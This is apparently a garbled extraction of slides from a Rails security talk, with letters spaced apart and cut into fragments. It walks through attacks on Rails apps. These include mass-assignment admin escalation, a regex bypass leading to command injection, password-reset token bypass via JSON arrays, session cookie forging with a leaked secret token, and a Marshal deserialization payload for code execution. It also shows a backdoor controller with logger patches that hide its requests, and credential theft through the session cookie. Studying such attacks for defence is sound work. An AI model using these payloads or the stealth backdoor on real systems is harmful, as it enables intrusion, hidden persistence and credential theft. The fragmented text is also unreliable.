v i e w | | - - a s s e t s | | | - - . . . | | - - c o n t r o l l e r s | | - - h e l p e r s | | - - m a i l e r s | | - - m o d e l s | ` - - v i e w s | ` - - l a y o u t s | - - c o n f i g | | - - e n v i r o n m e n t s | | - - i n i t i a l i z e r s | ` - - l o c a l e s | - - d b | - - d o c | - - l i b | | - - a s s e t s | ` - - t a s k s | - - l o g | - - p u b l i c | - - s c r i p t | - - t e s t | | - - . . . | - - t m p | ` - - c a c h e | ` - - a s s e t s ` - - v e n d o r | - - a s s e t s | | - - j a v a s c r i p t s | ` - - s t y l e s h e e t s ` - - p l u g i n s
the software in three different domains: Model: Holds the softwares' data and typically implements the business logic View: Takes care of the data representation towards the user Controller: Entry point for the users' input towards the application
p p / m o d e l s c l a s s P o s t < A c t i v e R e c o r d : : B a s e v a l i d a t e s _ p r e s e n c e _ o f : t i t l e a t t r _ a c c e s s i b l e : b o d y , : t i t l e e n d Here we can see parts of the business logic, namely v a l i d a t e s _ p r e s e n c e _ o f : t i t l e , which enforces that a title is set within each post.
at d b / s c h e m a . r b A c t i v e R e c o r d : : S c h e m a . d e f i n e ( : v e r s i o n = > 2 0 1 3 0 3 0 8 1 3 0 6 5 1 ) d o c r e a t e _ t a b l e " p o s t s " , : f o r c e = > t r u e d o | t | t . t e x t " t i t l e " t . t e x t " b o d y " t . d a t e t i m e " c r e a t e d _ a t " , : n u l l = > f a l s e t . d a t e t i m e " u p d a t e d _ a t " , : n u l l = > f a l s e e n d [ . . . ]
p p / v i e w s < p i d = " n o t i c e " > < % = n o t i c e % > < / p > < p > < b > T i t l e : < / b > < % = @ p o s t . t i t l e % > < / p > < p > < b > B o d y : < / b > < % = @ p o s t . b o d y % > < / p > < % = l i n k _ t o ' E d i t ' , e d i t _ p o s t _ p a t h ( @ p o s t ) % > | < % = l i n k _ t o ' B a c k ' , p o s t s _ p a t h % > Views are typically written in ERB. This looks like above, a mixture of HTML and Ruby.
p p / c o n t r o l l e r s c l a s s P o s t s C o n t r o l l e r < A p p l i c a t i o n C o n t r o l l e r [ . . . ] d e f s h o w @ p o s t = P o s t . f i n d ( p a r a m s [ : i d ] ) r e s p o n d _ t o d o | f o r m a t | f o r m a t . h t m l # s h o w . h t m l . e r b f o r m a t . j s o n { r e n d e r j s o n : @ p o s t } e n d e n d
s U s e r s C o n t r o l l e r < A p p l i c a t i o n C o n t r o l l e r l a y o u t ' a d m i n ' b e f o r e _ f i l t e r : r e q u i r e _ a d m i n , : e x c e p t = > : s h o w [ . . . ] e n d
p l i c a t i o n C o n t r o l l e r < A c t i o n C o n t r o l l e r : : B a s e [ . . . ] r e s p o n d _ t o : h t m l , : o n l y = > [ : i n d e x , : s h o w , : a u t o _ c o m p l e t e ] r e s p o n d _ t o : j s r e s p o n d _ t o : j s o n , : x m l , : e x c e p t = > : e d i t c l a s s U s e r s C o n t r o l l e r < A p p l i c a t i o n C o n t r o l l e r [ . . ] # G E T / u s e r s / 1 # G E T / u s e r s / 1 . j s o n # G E T / u s e r s / 1 . x m l d e f s h o w r e s p o n d _ w i t h ( @ u s e r ) e n d
p @ u s e r = U s e r . n e w ( p a r a m s [ : u s e r ] ) @ u s e r . s a v e e n d So we go ahead and post: u s e r [ n a m e ] = h a c k e r & u s e r [ a d m i n ] = 1
u p d a t e @ u s e r = U s e r . f i n d ( p a r a m s [ : i d ] ) p a r a m s [ : u s e r ] . d e l e t e ( : a d m i n ) # m a k e s u r e t o p r o t e c t a d m i n f l a g r e s p o n d _ t o d o | f o r m a t | i f @ u s e r . u p d a t e _ a t t r i b u t e s ( p a r a m s [ : u s e r ] ) [ . . . ]
u p d a t e @ u s e r = U s e r . f i n d ( p a r a m s [ : i d ] ) p a r a m s [ : u s e r ] . d e l e t e ( : a d m i n ) # m a k e s u r e t o p r o t e c t a d m i n f l a g r e s p o n d _ t o d o | f o r m a t | i f @ u s e r . u p d a t e _ a t t r i b u t e s ( p a r a m s [ : u s e r ] ) [ . . . ] Multiparameter attributes to the rescue! Just POST: u s e r [ a d m i n ( 1 ) ] = 1
t r _ p r o t e c t e d or a t t r _ a c c e s s i b l e in the model: c l a s s U s e r < A c t i v e R e c o r d : : B a s e a t t r _ p r o t e c t e d : a d m i n , : s u s p e n d e d _ a t [ . . . ] e n d
$ a = " f o o \ n b a r " ; $ a = ~ / ^ f o o $ / ? p r i n t " m a t c h " : p r i n t " n o m a t c h " ' n o m a t c h $ r u b y - e ' a = " f o o \ n b a r " ; i f a = ~ / ^ f o o $ / ; p u t s " m a t c h " ; e l s e p u t s " n o m a t c h " ; e n d ' m a t c h
g C o n t r o l l e r < A p p l i c a t i o n C o n t r o l l e r d e f p i n g i f p a r a m s [ : i p ] = ~ / ^ \ d { 1 , 3 } \ . \ d { 1 , 3 } \ . \ d { 1 , 3 } \ . \ d { 1 , 3 } $ / r e n d e r : t e x t = > ` p i n g - c 4 # { p a r a m s [ : i p ] } ` e l s e r e n d e r : t e x t = > " I n v a l i d I P " e n d e n d e n d The above regex is bypassable like: $ c u r l l o c a l h o s t : 3 0 0 0 / p i n g / p i n g - H " C o n t e n t - T y p e : a p p l i c a t i o n / j s o n " - - d a t a \ ' { " i p " : " 1 2 7 . 0 . 0 . 9 9 9 \ n i d " } '
E L E C T 1 2 3 F R O M d u a l W H E R E 1 = " 1 s o m e s t r i n g " ; + - - - - - + | 1 2 3 | + - - - - - + | 1 2 3 | + - - - - - + 1 r o w i n s e t , 1 w a r n i n g ( 0 . 0 0 s e c ) m y s q l > S E L E C T 1 2 3 F R O M d u a l W H E R E 1 = " s o m e s t r i n g " ; E m p t y s e t , 1 w a r n i n g ( 0 . 0 0 s e c ) m y s q l > S E L E C T 1 2 3 F R O M d u a l W H E R E 0 = " s o m e s t r i n g " ; + - - - - - + | 1 2 3 | + - - - - - + | 1 2 3 | + - - - - - + 1 r o w i n s e t , 1 w a r n i n g ( 0 . 0 0 s e c )
when ending up in the find_by* method Why does this matter? U s e r . f i n d _ b y _ p a s s w o r d _ r e s e t _ t o k e n ( p a r a m s [ : t o k e n ] ) c u r l h t t p : / / h o . s t / u s e r / r e s e t _ p a s s - H ' C o n t e n t - T y p e : a p p l i c a t i o n / j s o n ' \ - - d a t a - b i n a r y ' { " t o k e n " : [ 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 0 ] } '
Invokes the method identified by symbol, passing it any arguments specified. You can use _ _ s e n d _ _ if the name send clashes with an existing method in obj. When the method is identified by a string, the string is converted to a symbol.
a cookie. This cookie holds the session hash in the following form: B 6 4 B l o b - - S H A 1 H M A C _ o f _ B 6 4 B l o b Where the B 6 4 B l o b is the serialized (M a r s h a l . d u m p ( s e s s i o n ) ) value of the session hash
9 . 3 p 1 9 4 : 0 0 1 > r e q u i r e ' r a i l s / a l l ' = > t r u e 1 . 9 . 3 p 1 9 4 : 0 0 2 > c = " B A h 7 B 0 k i D 3 N l c 3 N p b 2 5 f a W Q G O g Z F R k k i J T c 5 M z h l N z c 2 M T V h N " + " 2 Y 0 M W Q y Z m M 4 N T h j N W E 3 Z T E 1 M z B l B j s A V E k i E F 9 j c 3 J m X 3 R v a 2 V u B j s A R k k i M W J N W k F C M 3 V " + " P S H p K V 3 M z S m 1 Y Q X d n O T Q 4 N l B n Z G 5 Q a j Q z Y V N r N k 9 S c D d E M 2 M 9 B j s A R g = = " = > " B A h 7 B 0 k i D 3 N l c 3 N p b 2 5 f a W Q G O g Z F R k k i J T c 5 M z h l N z c 2 M T V h N 2 Y 0 M W Q y Z m M 4 N T h j N W " + " E 3 Z T E 1 M z B l B j s A V E k i E F 9 j c 3 J m X 3 R v a 2 V u B j s A R k k i M W J N W k F C M 3 V P S H p K V 3 M z S m 1 Y Q X d " + " n O T Q 4 N l B n Z G 5 Q a j Q z Y V N r N k 9 S c D d E M 2 M 9 B j s A R g = = " 1 . 9 . 3 p 1 9 4 : 0 0 3 > m = B a s e 6 4 . d e c o d e 6 4 c = > " \ x 0 4 \ b { \ a I \ " \ x 0 F s e s s i o n _ i d \ x 0 6 : \ x 0 6 E F I \ " % 7 9 3 8 e 7 7 6 1 5 a 7 f 4 1 d 2 f c 8 5 8 c 5 a " + " 7 e 1 5 3 0 e \ x 0 6 ; \ x 0 0 T I \ " \ x 1 0 _ c s r f _ t o k e n \ x 0 6 ; \ x 0 0 F I \ " 1 b M Z A B 3 u O H z J W s 3 J m X A w g " + " 9 4 8 6 P g d n P j 4 3 a S k 6 O R p 7 D 3 c = \ x 0 6 ; \ x 0 0 F " 1 . 9 . 3 p 1 9 4 : 0 0 5 > M a r s h a l . l o a d m = > { " s e s s i o n _ i d " = > " 7 9 3 8 e 7 7 6 1 5 a 7 f 4 1 d 2 f c 8 5 8 c 5 a 7 e 1 5 3 0 e " , " _ c s r f _ t o k e n " = > " b M Z A B 3 u O H z J W s 3 J m X A w g 9 4 8 6 P g d n P j 4 3 a S k 6 O R p 7 D 3 c = " }
o n f i g / i n i t i a l i z e r s / s e c r e t _ t o k e n . r b Many devs are not aware of this file and happily check it into their open source projects. With knowledge of the HMAC secret we can do pretty fancy stuff.
b i n / r u b y # S i g n a c o o k i e i n R o R s t y l e r e q u i r e ' b a s e 6 4 ' r e q u i r e ' o p e n s s l ' h a s h t y p e = ' S H A 1 ' k e y = " s e c r e t _ k e y _ o f _ t h e _ a p p " c o o k i e = { " u s e r _ i d " = > 1 } c = B a s e 6 4 . s t r i c t _ e n c o d e 6 4 ( M a r s h a l . d u m p ( e v a l ( " # { c o o k i e } " ) ) ) . c h o m p d i g e s t = O p e n S S L : : H M A C . h e x d i g e s t ( O p e n S S L : : D i g e s t : : D i g e s t . n e w ( h a s h t y p e ) , k e y , c ) p u t s ( " # { c } - - # { d i g e s t } " ) For a handy script check out https://github.com/joernchen/evil_stuff/
a s s D e p r e c a t e d I n s t a n c e V a r i a b l e P r o x y < D e p r e c a t i o n P r o x y # : n o d o c : d e f i n i t i a l i z e ( i n s t a n c e , m e t h o d , v a r = " @ # { m e t h o d } " ) @ i n s t a n c e , @ m e t h o d , @ v a r = i n s t a n c e , m e t h o d , v a r e n d p r i v a t e d e f t a r g e t @ i n s t a n c e . _ _ s e n d _ _ ( @ m e t h o d ) e n d d e f w a r n ( c a l l s t a c k , c a l l e d , a r g s ) A c t i v e S u p p o r t : : D e p r e c a t i o n . w a r n ( " # { @ v a r } i s d e p r e c a t e d ! " + " C a l l # { @ m e t h o d } . # { c a l l e d } i n s t e a d o f # { @ v a r } . # { c a l l e d } . " + " A r g s : # { a r g s . i n s p e c t } " , c a l l s t a c k ) e n d e n d
A c t i v e S u p p o r t m o d u l e D e p r e c a t i o n c l a s s D e p r e c a t i o n P r o x y # : n o d o c : [ . . . ] p r i v a t e d e f m e t h o d _ m i s s i n g ( c a l l e d , * a r g s , & b l o c k ) w a r n c a l l e r , c a l l e d , a r g s t a r g e t . _ _ s e n d _ _ ( c a l l e d , * a r g s , & b l o c k ) e n d e n d
l d _ c o o k i e c o d e = " e v a l ( ' w h a t e v e r r u b y c o d e ' ) " m a r s h a l _ p a y l o a d = R e x : : T e x t . e n c o d e _ b a s e 6 4 ( " \ x 0 4 \ x 0 8 " + " o " + " : \ x 4 0 A c t i v e S u p p o r t : : D e p r e c a t i o n : : D e p r e c a t e d I n s t a n c e V a r i a b l e P r o x y " + " \ x 0 7 " + " : \ x 0 E @ i n s t a n c e " + " o " + " : \ x 0 8 E R B " + " \ x 0 6 " + " : \ x 0 9 @ s r c " + M a r s h a l . d u m p ( c o d e ) [ 2 . . - 1 ] + " : \ x 0 C @ m e t h o d " + " : \ x 0 B r e s u l t " ) . c h o m p d i g e s t = O p e n S S L : : H M A C . h e x d i g e s t ( O p e n S S L : : D i g e s t : : D i g e s t . n e w ( " S H A 1 " ) , S E C R E T _ T O K E N , m a r s h a l _ p a y l o a d ) m a r s h a l _ p a y l o a d = R e x : : T e x t . u r i _ e n c o d e ( m a r s h a l _ p a y l o a d ) " # { m a r s h a l _ p a y l o a d } - - # { d i g e s t } " e n d This vector was found by in the process of exploiting CVE-2013-0156. Charlie Somerville
s s _ e v a l < < P E N G c l a s s B a c k d o o r C o n t r o l l e r < A c t i o n C o n t r o l l e r : : B a s e d e f i n d e x r e n d e r : t e x t = > " o h a i " e n d e n d P E N G
i l s . a p p l i c a t i o n . r o u t e s . a p p e n d { m a t c h " / p w n d / " = > " b a c k d o o r # i n d e x " } R a i l s . a p p l i c a t i o n . r o u t e s . i n s t a n c e _ v a r i a b l e _ s e t ( : @ f i n a l i z e d , f a l s e ) R a i l s . a p p l i c a t i o n . r o u t e s . f i n a l i z e ! r e n d e r : t e x t = > ' i m p l a n t e d '
s s _ e v a l < < P E N G c l a s s B a c k d o o r C o n t r o l l e r < A c t i o n C o n t r o l l e r : : B a s e b e f o r e _ f i l t e r : s h u t u p a f t e r _ f i l t e r : t a l k d e f i n d e x r e n d e r : t e x t = > " o h a i " e n d d e f s h u t u p @ r l e v e l = R a i l s . l o g g e r . l e v e l @ a l e v e l = A c t i v e R e c o r d : : B a s e . l o g g e r . l e v e l R a i l s . l o g g e r . l e v e l = 3 1 3 3 7 A c t i v e R e c o r d : : B a s e . l o g g e r . l e v e l = 3 1 3 3 7 e n d d e f t a l k R a i l s . l o g g e r . l e v e l = @ r l e v e l A c t i v e R e c o r d : : B a s e . l o g g e r . l e v e l = @ a l e v e l e n d e n d P E N G
d : a l i a s _ m e t h o d , : a d d _ o r i g , : a d d L o g g e r . c l a s s _ e v a l < < K E K E d e f a d d ( s e v e r i t y , m e s s a g e = n i l , p r o g n a m e = n i l , & b l o c k ) m = m e s s a g e . d u p i f m . n i l ? m = y i e l d e n d r e t u r n n i l i f m = ~ / B a c k d o o r / i a d d _ o r i g ( s e v e r i t y , m e s s a g e , p r o g n a m e , & b l o c k ) e n d K E K E
k : : L o g g e r . s e n d : a l i a s _ m e t h o d , : s t a r t e d _ r e q u e s t _ m e s s a g e _ o r i g , : s t a r t e d _ r e q u e s t _ m e s s a g e R a i l s : : R a c k : : L o g g e r . c l a s s _ e v a l < < P W N d e f s t a r t e d _ r e q u e s t _ m e s s a g e ( r e q u e s t ) r e t u r n n i l i f r e q u e s t . f i l t e r e d _ p a t h = ~ / p w n d / s t a r t e d _ r e q u e s t _ m e s s a g e _ o r i g ( r e q u e s t ) e n d P W N A c t i o n C o n t r o l l e r : : L o g S u b s c r i b e r . s e n d : a l i a s _ m e t h o d , : p r o c e s s _ a c t i o n _ o r i g , : p r o c e s s _ a c t i o n A c t i o n C o n t r o l l e r : : L o g S u b s c r i b e r . c l a s s _ e v a l < < O H A I d e f p r o c e s s _ a c t i o n ( e v e n t ) r e t u r n n i l i f e v e n t . p a y l o a d [ : p a t h ] = ~ / p w n d / p r o c e s s _ a c t i o n _ o r i g ( e v e n t ) e n d O H A I
the session will contain login and password of the first user. Exfiltrate via Cookie a = { } a [ " l o g i n " ] = U s e r . f i r s t . l o g i n a [ " p a s s " ] = U s e r . f i r s t . p a s s w o r d { " f o o " = > a }
a t e _ i p c l i e n t _ i p = @ e n v [ ' H T T P _ C L I E N T _ I P ' ] f o r w a r d e d _ i p s = i p s _ f r o m ( ' H T T P _ X _ F O R W A R D E D _ F O R ' ) r e m o t e _ a d d r s = i p s _ f r o m ( ' R E M O T E _ A D D R ' ) c h e c k _ i p = c l i e n t _ i p & & f o r w a r d e d _ i p s . p r e s e n t ? & & @ m i d d l e w a r e . c h e c k _ i p i f c h e c k _ i p & & ! f o r w a r d e d _ i p s . i n c l u d e ? ( c l i e n t _ i p ) r a i s e I p S p o o f A t t a c k E r r o r , " I P s p o o f i n g a t t a c k ? ! " \ " H T T P _ C L I E N T _ I P = # { @ e n v [ ' H T T P _ C L I E N T _ I P ' ] . i n s p e c t } " \ " H T T P _ X _ F O R W A R D E D _ F O R = # { @ e n v [ ' H T T P _ X _ F O R W A R D E D _ F O R ' ] . i n s p e c t } " e n d n o t _ p r o x y = c l i e n t _ i p | | f o r w a r d e d _ i p s . l a s t | | r e m o t e _ a d d r s . f i r s t n o t _ p r o x y | | i p s _ f r o m ( ' R E M O T E _ A D D R ' , : a l l o w _ p r o x i e s ) . f i r s t e n d